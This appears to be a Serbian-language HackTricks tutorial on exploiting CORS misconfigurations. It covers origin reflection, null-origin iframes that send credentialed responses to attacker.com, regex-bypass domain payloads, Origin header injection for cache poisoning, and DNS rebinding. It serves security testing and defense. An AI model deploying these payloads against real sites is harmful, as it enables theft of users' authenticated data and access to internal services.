CORS - Misconfigurations & Bypass

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks

Šta je CORS?

Cross-Origin Resource Sharing (CORS) standard omogućava serverima da definišu ko može da pristupi njihovim asset-ima i koje HTTP request methods su dozvoljene iz eksternih izvora.

same-origin policy zahteva da server koji zahteva resource i server koji hostuje resource dele isti protocol (npr. http://), domain name (npr. internal-web.com) i port (npr. 80). Prema ovoj politici, samo web stranice sa istog domain-a i porta imaju dozvolu pristupa resource-ima.

Primena same-origin policy u kontekstu http://normal-website.com/example/example.html je prikazana ovako:

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer ignoriše broj porta pri enforcing same-origin policy, čime omogućava ovaj access.

Access-Control-Allow-Origin Header

Ovaj header može da dozvoli multiple origins, vrednost null, ili wildcard *. Međutim, nijedan browser ne podržava multiple origins, a korišćenje wildcard * je podložno limitations. (Wildcard mora da se koristi samostalno, i njegova upotreba zajedno sa Access-Control-Allow-Credentials: true nije dozvoljena.)

Ovaj header je izdat od strane servera kao odgovor na cross-domain resource request koji je inicirala website, dok browser automatski dodaje Origin header.

Access-Control-Allow-Credentials Header

Podrazumevano, cross-origin requests se šalju bez credentials kao što su cookies ili Authorization header. Ipak, cross-domain server može dozvoliti čitanje response-a kada se credentials pošalju tako što postavi Access-Control-Allow-Credentials header na true.

Ako je postavljen na true, browser će preneti credentials (cookies, authorization headers, ili TLS client certificates).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Razumevanje Pre-flight zahteva u Cross-Domain komunikaciji

Kada se inicira cross-domain zahtev pod određenim uslovima, kao što je korišćenje non-standard HTTP method (bilo šta osim HEAD, GET, POST), uvođenje novih headers, ili korišćenje posebne vrednosti Content-Type header, može biti potreban pre-flight request. Ovaj preliminarni zahtev, koji koristi metodu OPTIONS, služi da obavesti server o namerama predstojećeg cross-origin zahteva, uključujući HTTP methods i headers koje namerava da koristi.

Protokol Cross-Origin Resource Sharing (CORS) nalaže ovu pre-flight proveru kako bi se utvrdila izvodljivost tražene cross-origin operacije, verifikacijom dozvoljenih methods, headers, i pouzdanosti origin. Za detaljno razumevanje uslova koji zaobilaze potrebu za pre-flight request, pogledajte sveobuhvatni vodič koji pruža Mozilla Developer Network (MDN).

Važno je napomenuti da odsustvo pre-flight request ne ukida zahtev da response nosi authorization headers. Bez ovih headers, browser je onesposobljen da obradi response iz cross-origin zahteva.

Razmotrite sledeću ilustraciju pre-flight request-a usmerenog na korišćenje metode PUT zajedno sa custom header-om nazvanim Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

U odgovoru, server može vratiti zaglavlja koja ukazuju na prihvaćene metode, dozvoljeni origin i druge detalje CORS politike, kao što je prikazano ispod:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Ovaj header specificira koji se headers mogu koristiti tokom stvarnog request-a. Server ga postavlja da označi dozvoljene headers u request-ovima od klijenta.
  • Access-Control-Expose-Headers: Putem ovog header-a, server obaveštava klijenta o tome koji se headers mogu izložiti kao deo response-a pored simple response headers.
  • Access-Control-Max-Age: Ovaj header pokazuje koliko dugo rezultati pre-flight request-a mogu da se keširaju. Server postavlja maksimalno vreme, u sekundama, tokom kog informacije vraćene pre-flight request-om mogu da se ponovo koriste.
  • Access-Control-Request-Headers: Koristi se u pre-flight request-ovima; ovaj header postavlja klijent da obavesti server o tome koje HTTP headers klijent želi da koristi u stvarnom request-u.
  • Access-Control-Request-Method: Ovaj header, takođe korišćen u pre-flight request-ovima, postavlja klijent da označi koji će HTTP method biti korišćen u stvarnom request-u.
  • Origin: Ovaj header browser automatski postavlja i označava origin cross-origin request-a. Server ga koristi da proceni da li incoming request treba da bude dozvoljen ili odbijen na osnovu CORS policy.

Napomena: obično (u zavisnosti od content-type i postavljenih headers) u GET/POST request-u se ne šalje pre-flight request (request se šalje direktno), ali ako želiš da pristupiš headers/body response-a, on mora da sadrži Access-Control-Allow-Origin header koji to dozvoljava.
Zato CORS ne štiti od CSRF (ali može biti koristan).

Local Network Requests Pre-flight request

Modern browser-i i trenutni nacrt Private Network Access (PNA) koriste headers Access-Control-Request-Private-Network: true u preflight-u i Access-Control-Allow-Private-Network: true u response-u. Stariji članci i PoC-ovi možda još uvek koriste Local-Network nazive header-a, ali za trenutno testiranje treba da očekuješ Private-Network varijante.

Valid response koji dozvoljava local network request mora takođe da sadrži Access-Control-Allow-Private-Network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

A preflight request će izgledati slično kao:

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

Chrome-ovo PNA uvođenje menjalo se više puta tokom 2024. Od 9. oktobra 2024., Chrome je dokumentovao da su PNA preflights bili na čekanju zbog problema sa kompatibilnošću, dok su ograničenja za secure-context ostala na snazi. Zato nastavi da testiraš i flow preflight-a u skladu sa specifikacijom i starije ponašanje “radi u praksi jer je enforcement nepotpun”.

Warning

Imaj na umu da linux 0.0.0.0 IP radi za bypass ovih zahteva kako bi se pristupilo localhost-u, jer se ta IP adresa ne smatra “local”.

Chrome je takođe dokumentovao da se 0.0.0.0/8 sada tretira kao deo Private Network Access, pa je ovaj trik zavisan od browser/version i treba ga ponovo testirati umesto pretpostavljati.

Takođe je moguće bypass-ovati Local Network zahteve ako koristiš public IP address lokalnog endpoint-a (kao što je public IP rutera). Zato što je u nekoliko slučajeva, čak i ako se pristupa preko public IP, ako je to iz lokalne mreže, pristup ipak dozvoljen.

Wildcards

Imaj na umu da čak i ako sledeća konfiguracija deluje veoma permissive:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Ovo browseri ne dozvoljavaju i zato credentials neće biti poslati sa requestom koji to dopušta.

Exploitable misconfigurations

Primećeno je da je podešavanje Access-Control-Allow-Credentials na true preduslov za većinu real attacks. Ovo podešavanje omogućava browseru da pošalje credentials i pročita response, čime se povećava efikasnost napada. Bez ovoga, korist od toga da browser pošalje request umesto tebe postaje manja, jer iskorišćavanje korisnikovih cookies postaje neizvodljivo.

Exception: Exploiting Network Location as Authentication

Postoji exception gde žrtvina network location služi kao oblik authentication. To omogućava da se žrtvin browser koristi kao proxy, zaobilaženjem IP-based authentication radi pristupa intranet aplikacijama. Ova metoda po uticaju je slična DNS rebinding, ali je jednostavnija za exploit.

Reflection of Origin in Access-Control-Allow-Origin

Stvarni scenario u kojem se vrednost Origin headera reflektuje u Access-Control-Allow-Origin je teorijski malo verovatan zbog ograničenja pri kombinovanju ovih headera. Međutim, developeri koji žele da omoguće CORS za više URL-ova mogu dinamički generisati Access-Control-Allow-Origin header kopiranjem vrednosti Origin headera. Ovaj pristup može uvesti vulnerabilities, naročito kada attacker koristi domenu sa imenom dizajniranim da deluje legitimate, čime obmanjuje validation logic.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Exploiting the null Origin

null origin, naveden za situacije poput redirekcija ili lokalnih HTML fajlova, zauzima jedinstvenu poziciju. Neke aplikacije stavljaju ovaj origin na whitelistu kako bi olakšale lokalni development, ali time nenamerno omogućavaju bilo kom website-u da oponaša null origin kroz sandboxed iframe, čime se zaobilaze CORS restrictions.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Tehnike zaobilaženja Regular Expression

Kada naiđete na domain whitelist, ključno je testirati mogućnosti zaobilaženja, kao što je dodavanje napadačevog domain-a na whitelisted domain ili iskorišćavanje subdomain takeover ranjivosti. Dodatno, regular expressions korišćeni za validaciju domain-a mogu prevидети nijanse u konvencijama imenovanja domain-a, što otvara dodatne mogućnosti za zaobilaženje.

Napredna zaobilaženja Regular Expression

Regex obrasci se tipično fokusiraju na alfanumeričke karaktere, tačku (.) i crticu (-), zanemarujući druge mogućnosti. Na primer, domain name napravljen tako da uključuje karaktere koje browsers i regex obrasci tumače drugačije može zaobići security checks. Način na koji Safari, Chrome i Firefox obrađuju underscore karaktere u subdomain-ima ilustruje kako se takve razlike mogu iskoristiti za zaobilaženje domain validation logike.

Za više informacija i podešavanja ove bypass provere: https://www.corben.io/advanced-cors-techniques/ i https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Iz XSS unutar subdomain-a

Developers često implementiraju odbrambene mehanizme kako bi se zaštitili od CORS exploitation, tako što whitelisting-om domain-a dozvoljavaju samo određene domain-e da zahtevaju informacije. Uprkos ovim merama, sigurnost sistema nije nepogrešiva. Prisustvo čak i jednog ranjivog subdomain-a unutar whitelisted domain-a može otvoriti vrata za CORS exploitation kroz druge ranjivosti, kao što je XSS (Cross-Site Scripting).

Da bismo to ilustrovali, razmotrite scenario u kome je domain requester.com whitelisted za pristup resursima sa drugog domain-a, provider.com. Konfiguracija na server-side mogla bi da izgleda otprilike ovako:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

U ovom podešavanju, svi subdomain-ovi requester.com imaju dozvoljen pristup. Međutim, ako je neki subdomain, na primer sub.requester.com, kompromitovan sa XSS vulnerability, napadač može da iskoristi tu slabost. Na primer, napadač sa pristupom sub.requester.com mogao bi da iskoristi XSS vulnerability da zaobiđe CORS policy i zlonamerno pristupi resursima na provider.com.

Special Characters

PortSwigger-ov URL validation bypass cheat sheet je otkrio da neki browser-i podržavaju čudne karaktere unutar domain name-ova.

Chrome i Firefox podržavaju donje crte _ koje mogu da zaobiđu regexe implementirane za validaciju Origin header-a:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari je još liberalniji i prihvata posebne znakove u imenu domena:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Nedavna ažuriranja PortSwigger-ovog cheat sheet-a dodala su više Safari-orijentisanih domain splitting payloads koji vrede fuzzing kada target validira Origin header koristeći regex-e ili home-grown URL parsers:

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

Ovo je korisno kada backend proverava samo da li dati origin počinje sa ili sadrži trusted hostname, dok browser i dalje tretira suffix pod kontrolom napadača kao efektivnu granicu origin-a.

Takođe zapamtite da moderno origin fuzzing ne bi trebalo da se zaustavi na hostname suffixes. Trenutni PortSwigger cheat sheet uključuje families payload-a za:

  • Domain allow-list bypasses: domeni pod kontrolom napadača koji i dalje zadovoljavaju naive prefix/suffix/substring provere.
  • Fake-relative absolute URLs: browser-valid absolute URLs koje application code može da parsira kao relative.
  • Loopback/IP normalizations: alternativni IPv4/IPv6 oblici korisni kada CORS logic pokušava da blokira localhost, 127.0.0.1, ili cloud metadata endpoints poređenjem stringova.

Other funny URL tricks

URL Format Bypass

Server-side cache poisoning

From this research

Moguće je da se iskorišćavanjem server-side cache poisoning kroz HTTP header injection indukuje stored Cross-Site Scripting (XSS) ranjivost. Ovaj scenario nastaje kada application ne sanitizuje Origin header za nedozvoljene karaktere, stvarajući ranjivost posebno za Internet Explorer i Edge korisnike. Ovi browser-i tretiraju (0x0d) kao legitiman HTTP header terminator, što dovodi do HTTP header injection ranjivosti.

Razmotrite sledeći request gde je Origin header manipulisan:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer i Edge tumače odgovor kao:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Dok direktno iskorišćavanje ove ranjivosti slanjem malformed header-a iz web browser-a nije izvodljivo, ručno generisan crafted request može se napraviti alatima kao što je Burp Suite. Ovaj metod može dovesti do toga da server-side cache sačuva response i nenamerno ga servira drugim korisnicima. Crafted payload ima cilj da izmeni character set stranice na UTF-7, encoding znakova koji se često povezuje sa XSS ranjivostima zbog svoje sposobnosti da enkodira znakove na način koji može biti izvršen kao script u određenim kontekstima.

Za dalje čitanje o stored XSS ranjivostima, pogledajte PortSwigger.

Note: Iskorišćavanje HTTP header injection ranjivosti, naročito kroz server-side cache poisoning, naglašava kritičnu važnost validacije i sanitizacije svih user-supplied input-a, uključujući HTTP header-e. Uvek primenjujte robustan security model koji uključuje input validation kako biste sprečili takve ranjivosti.

Client-Side cache poisoning

From this research

U ovom scenariju primećuje se instanca web page-a koja reflektuje sadržaj custom HTTP header-a bez pravilnog encoding-a. Konkretno, web page vraća sadržaj iz X-User-id header-a, koji može da sadrži malicious JavaScript, kao što je prikazano u primeru gde header sadrži SVG image tag dizajniran da izvrši JavaScript code pri učitavanju.

Cross-Origin Resource Sharing (CORS) policies omogućavaju slanje custom header-a. Međutim, bez toga da browser direktno renderuje response zbog CORS restrictions, korisnost takve injekcije može delovati ograničeno. Ključna tačka nastaje kada se razmotri ponašanje browser-a prema cache-u. Ako Vary: Origin header nije naveden, postaje moguće da malicious response bude keširan od strane browser-a. Nakon toga, ovaj keširani response može biti direktno renderovan pri navigaciji na URL, zaobilazeći potrebu za direktnim renderovanjem pri početnom request-u. Ovaj mehanizam povećava pouzdanost napada iskorišćavanjem client-side caching-a.

Da bi se ilustrovao ovaj attack, dat je JavaScript primer, namenjen za izvršavanje u okruženju web page-a, na primer kroz JSFiddle. Ovaj script izvodi jednostavnu akciju: šalje request na određeni URL sa custom header-om koji sadrži malicious JavaScript. Nakon uspešnog završetka request-a, pokušava da navigira na target URL, potencijalno pokrećući izvršavanje injected script-a ako je response keširan bez pravilnog rukovanja Vary: Origin header-om.

Evo sažetog pregleda JavaScript-a korišćenog za izvršavanje ovog attack-a:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, takođe poznat kao Cross-Site Script Inclusion, je tip ranjivosti koji koristi činjenicu da se Same Origin Policy (SOP) ne primenjuje kada se resursi uključuju pomoću script taga. To je zato što skripte moraju moći da se uključuju sa različitih domena. Ova ranjivost omogućava napadaču da pristupi i pročita bilo koji sadržaj koji je uključen pomoću script taga.

Ova ranjivost postaje posebno značajna kada je u pitanju dinamički JavaScript ili JSONP (JSON with Padding), naročito kada se za autentifikaciju koriste ambient-authority informacije poput cookies. Prilikom zahtevanja resursa sa drugog hosta, cookies se uključuju, što ih čini dostupnim napadaču.

Da biste bolje razumeli i ublažili ovu ranjivost, možete koristiti BurpSuite plugin dostupan na https://github.com/kapytein/jsonp. Ovaj plugin može pomoći da identifikujete i rešite potencijalne XSSI ranjivosti u vašim web aplikacijama.

Pročitajte više o različitim tipovima XSSI i kako da ih eksploatišete ovde.

Pokušajte da dodate callback parametar u request. Možda je stranica bila pripremljena da šalje podatke kao JSONP. U tom slučaju će stranica vratiti podatke sa Content-Type: application/javascript, što će zaobići CORS policy.

Easy (useless?) bypass

Jedan način da se zaobiđe ograničenje Access-Control-Allow-Origin jeste da se web aplikacija natera da napravi request u vaše ime i vrati response. Međutim, u ovom scenariju, credentials konačne žrtve neće biti poslati, jer se request upućuje ka drugom domenu.

  1. CORS-escape: Ovaj alat pruža proxy koji prosleđuje vaš request zajedno sa njegovim headerima, dok istovremeno spoofuje Origin header tako da odgovara traženom domenu. Ovo efikasno zaobilazi CORS policy. Evo primera upotrebe sa XMLHttpRequest:
  2. simple-cors-escape: Ovaj alat nudi alternativni pristup proxying requestova. Umesto da prosledi vaš request neizmenjen, server pravi sopstveni request sa zadatim parametrima.

Iframe + Popup Bypass

Možete zaobići CORS provere kao što je e.origin === window.origin tako što ćete kreirati iframe i iz njega otvoriti novi prozor. Više informacija na sledećoj stranici:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL je tehnika koja se koristi za zaobilaženje određenih bezbednosnih mera manipulacijom DNS zapisima. Evo kako radi:

  1. Napadač kreira web stranicu i navede žrtvu da joj pristupi.
  2. Napadač zatim menja DNS (IP) svog domena tako da pokazuje na web stranicu žrtve.
  3. Pregledač žrtve kešira DNS response, koji može imati TTL (Time to Live) vrednost koja označava koliko dugo DNS zapis treba da se smatra važećim.
  4. Kada TTL istekne, pregledač žrtve pravi novi DNS request, što omogućava napadaču da izvrši JavaScript kod na stranici žrtve.
  5. Održavanjem kontrole nad IP adresom žrtve, napadač može prikupljati informacije od žrtve bez slanja bilo kakvih cookies na server žrtve.

Važno je napomenuti da pregledači imaju mehanizme keširanja koji mogu sprečiti trenutno zlostavljanje ove tehnike, čak i sa niskim TTL vrednostima.

DNS rebinding može biti koristan za zaobilaženje eksplicitnih IP provera koje vrši žrtva ili za scenarije u kojima korisnik ili bot ostaje na istoj stranici duži vremenski period, omogućavajući da keš istekne.

Ako vam treba brz način da zloupotrebite DNS rebinding, možete koristiti servise kao što je https://lock.cmpxchg8b.com/rebinder.html.

Da biste pokrenuli sopstveni DNS rebinding server, možete koristiti alate kao što je DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Ovo uključuje izlaganje vašeg lokalnog porta 53/udp, kreiranje A zapisa koji pokazuje na njega (npr. ns.example.com), i kreiranje NS zapisa koji pokazuje na prethodno kreirani A subdomen (npr. ns.example.com). Svaki subdomen od subdomena ns.example.com će zatim biti rezolvan od strane vašeg hosta.

Takođe možete istražiti javno pokrenut server na http://rebind.it/singularity.html radi boljeg razumevanja i eksperimentisanja.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding je još jedna tehnika koja se koristi za zaobilaženje mehanizma keširanja pregledača i forsiranje drugog DNS requesta. Evo kako radi:

  1. U početku, kada žrtva napravi DNS request, kao odgovor dobija IP adresu napadača.
  2. Da bi zaobišao odbranu keširanja, napadač koristi service worker. Service worker preplavljuje DNS cache, čime efektivno briše keširano ime servera napadača.
  3. Kada pregledač žrtve napravi drugi DNS request, kao odgovor sada dobija IP adresu 127.0.0.1, koja se tipično odnosi na localhost.

Preplavljivanjem DNS cache-a pomoću service worker-a, napadač može manipulirati procesom DNS rezolucije i naterati pregledač žrtve da napravi drugi request, koji će se ovog puta rezolovati na IP adresu koju napadač želi.

DNS Rebinding via Cache

Drugi način da se zaobiđe odbrana keširanja jeste korišćenje više IP adresa za isti subdomen kod DNS provajdera. Evo kako radi:

  1. Napadač podešava dva A zapisa (ili jedan A zapis sa dve IP adrese) za isti subdomen kod DNS provajdera.
  2. Kada pregledač proveri te zapise, dobija obe IP adrese.
  3. Ako pregledač odluči da prvo koristi IP adresu napadača, napadač može da servira payload koji izvršava HTTP requestove ka istom domenu.
  4. Međutim, nakon što napadač dobije IP adresu žrtve, prestaje da odgovara pregledaču žrtve.
  5. Pregledač žrtve, nakon što utvrdi da domen ne odgovara, prelazi na korišćenje druge date IP adrese.
  6. Pristupanjem drugoj IP adresi, pregledač zaobilazi Same Origin Policy (SOP), omogućavajući napadaču da to zloupotrebi i prikupi i exfiltrate informacije.

Ova tehnika koristi ponašanje pregledača kada je za domen dato više IP adresa. Strateškim kontrolisanjem odgovora i manipulisanjem izborom IP adrese od strane pregledača, napadač može da eksploatiše SOP i pristupi informacijama od žrtve.

Warning

Imajte na umu da biste za pristup localhost-u trebalo da pokušate da rebindujete 127.0.0.1 na Windows-u i 0.0.0.0 na linux-u.
Provajderi kao što su godaddy ili cloudflare mi nisu dozvolili da koristim ip 0.0.0.0, ali AWS route53 mi je dozvolio da kreiram jedan A zapis sa 2 IP adrese, od kojih je jedna bila “0.0.0.0”

Za više informacija možete pogledati https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • Ako internal IPs nisu dozvoljene, možda su zaboravili da zabrane 0.0.0.0 (radi na Linux-u i Mac-u)
  • Ako internal IPs nisu dozvoljene, odgovorite sa CNAME ka localhost (radi na Linux-u i Ma
  • Ako internal IPs nisu dozvoljene kao DNS response, možete vratiti CNAMEs ka internal servisima kao što je www.corporate.internal.

DNS Rebidding Weaponized

Možete pronaći više informacija o prethodnim bypass tehnikama i kako da koristite sledeći alat u predavanju Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin je alat za izvođenje DNS rebinding napada. Uključuje neophodne komponente za rebindovanje IP adrese DNS imena attack servera na IP adresu target mašine i za serviranje attack payload-a za eksploataciju ranjivog softvera na target mašini.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH jednostavno tuneluje klasični RFC1035 DNS wire format unutar HTTPS-a (obično POST sa Content-Type: application/dns-message). Resolver i dalje odgovara sa istim resource record-ovima, tako da SOP-breaking tehnike i dalje rade čak i kada pregledači rezolvuju hostname koji kontroliše napadač preko TLS-a.

Key observations

  • Chrome (Windows/macOS) i Firefox (Linux) uspešno rebinduju kada su podešeni za Cloudflare, Google ili OpenDNS DoH resolvere. Enkripcija transporta ne odlaže niti blokira attack-flow za strategije first-then-second, multiple-answers ili DNS cache flooding.
  • Javni resolveri i dalje vide svaki query, ali retko primenjuju host-to-IP mapiranje koje pregledač mora da poštuje. Kada authoritative server vrati rebinding sequence, pregledač zadržava originalni origin tuple dok se povezuje na novu IP adresu.

Singularity strategies and timing over DoH

  • First-then-second ostaje najpouzdanija opcija: prvi lookup vraća IP napadača koji servira payload, svaki kasniji lookup vraća internal/localhost IP. Sa tipičnim browser DNS cache-ovima ovo menja saobraćaj za ~40–60 sekundi, čak i kada je recursive resolver dostupan samo preko HTTPS-a.
  • Multiple answers (fast rebinding) i dalje dovodi do localhost-a za <3 sekunde tako što odgovara sa dva A zapisa (IP napadača + 0.0.0.0 na Linux/macOS ili 127.0.0.1 na Windows-u) i programatski blackhole-uje prvi IP (na primer, iptables -I OUTPUT -d <attacker_ip> -j DROP) kratko nakon što se stranica učita. Firefox-ova DoH implementacija može slati ponovljene DNS query-je, pa je Singularity rešenje da se firewall pravilo zakaže u odnosu na timestamp prvog query-ja umesto da se tajmer osvežava na svaki query.

Beating “rebind protection” in DoH providers

  • Neki provajderi (npr. NextDNS) zamenjuju private/loopback odgovore sa 0.0.0.0, ali Linux i macOS taj destination rado rutiraju ka lokalnim servisima. Namerno vraćanje 0.0.0.0 kao drugog record-a zato i dalje pivota origin na localhost.
  • Filtriranje samo direktnog A/AAAA odgovora je neefikasno: vraćanje CNAME ka internal-only hostnamu navodi javni DoH resolver da prosledi alias, dok pregledači kao što je Firefox prelaze na system DNS za internal zonu, završavajući rezoluciju ka private IP koja se i dalje tretira kao attacker origin.

Browser-specific DoH behavior

  • Firefox DoH radi u fallback režimu: svaki DoH failure (uključujući neresolvan CNAME target) pokreće plaintext lookup preko OS resolvera, koji je tipično enterprise DNS server koji poznaje internal namespace. Ovo ponašanje čini CNAME bypass pouzdanim unutar corporate network-a.
  • Chrome DoH se aktivira samo kada OS DNS pokazuje na whitelisted DoH-capable recursive resolver (Cloudflare, Google, Quad9, itd.) i ne pruža isti fallback chain. Internal hostnames koji postoje samo na corporate DNS zato ne uspevaju da se rezolvuju, ali rebinding ka localhost-u ili bilo kojoj routable adresi i dalje uspeva jer napadač kontroliše ceo set odgovora.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS i unesite DoH endpoint (Cloudflare i NextDNS su ugrađeni). Chrome/Chromium: omogućite chrome://flags/#dns-over-https i podesite OS DNS servere na jedan od Chrome-ovih podržanih resolvera (npr. 1.1.1.1/1.0.0.1).
  • Možete direktno slati upite javnim DoH API-jima, npr. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq da potvrdite tačne record-ove koje će pregledači keširati.
  • Presretanje DoH-a u Burp/ZAP i dalje radi jer je to samo HTTPS (binary DNS payload u body-ju). Za inspekciju na nivou paketa, izvezite TLS ključeve (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) pre pokretanja pregledača i dozvolite Wireshark-u da dekriptuje DoH sesije sa dns display filter-om da vidite kada pregledač ostaje na DoH-u ili se vraća na klasični DNS.

Real Protection against DNS Rebinding

  • Koristite TLS u internal servisima
  • Zahtevajte autentifikaciju za pristup podacima
  • Validirajte Host header
  • https://wicg.github.io/private-network-access/: Predlog da se uvek pošalje pre-flight request kada public serveri žele da pristupe internal serverima

Tools

Fuzz possible misconfigurations in CORS policies

References

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks